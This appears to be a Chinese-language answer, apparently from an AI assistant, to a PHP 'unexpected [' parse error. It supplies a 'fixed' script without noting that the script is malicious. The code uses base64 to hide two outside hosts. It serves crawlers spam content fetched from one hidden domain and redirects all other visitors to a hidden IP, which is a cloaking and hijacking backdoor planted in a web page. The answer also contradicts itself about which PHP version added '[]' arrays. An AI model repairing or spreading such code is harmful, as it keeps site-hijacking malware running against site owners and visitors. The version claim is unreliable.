Parse error: syntax error, unexpected '[' in /www/users/HA686520/WEB/newfile1.php on line 9

这个错误提示显示在第9行，意味着在代码中有一个语法错误。根据错误消息中的提示，解析错误出现在数组定义的地方。

在PHP版本5.3之前，不支持使用`[]`来定义数组，而应该使用`array()`来定义数组。因此，如果你的PHP版本低于5.4，你需要将数组定义部分的语法改为`array()`形式。

修复后的代码如下所示：

<?php
$a = base64_decode('aHR0cDovL2RpY2szLmNj');
$b = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];
$c = $_SERVER['REQUEST_URI'];
$url = $a . '/index.php?uu=' . $b . '&ll=' . $c;
$agent = $_SERVER['HTTP_USER_AGENT'];
$referer = $_SERVER['HTTP_REFERER'];

$spiders = array('baiduspider', 'sogou', '360Spider', 'sosospider', 'bingbot', 'yisouspider', 'spider', 'google', 'yodaobot');

foreach ($spiders as $spider) {
    if (stripos($agent, $spider) !== false) {
        $file = file_get_contents($url);
        echo $file;
        exit;
    }
}

$redirectUrl = base64_decode('aHR0cDovLzE3MS4yMi4xOTUuNQ==');
header("Location: $redirectUrl");
exit;
?>

请注意，如果你的PHP版本高于或等于5.4，那么使用`[]`来定义数组是有效的。如果上述解决方案没有解决问题，请提供更多的代码和完整的错误消息，这样我可以更好地帮助你解决问题。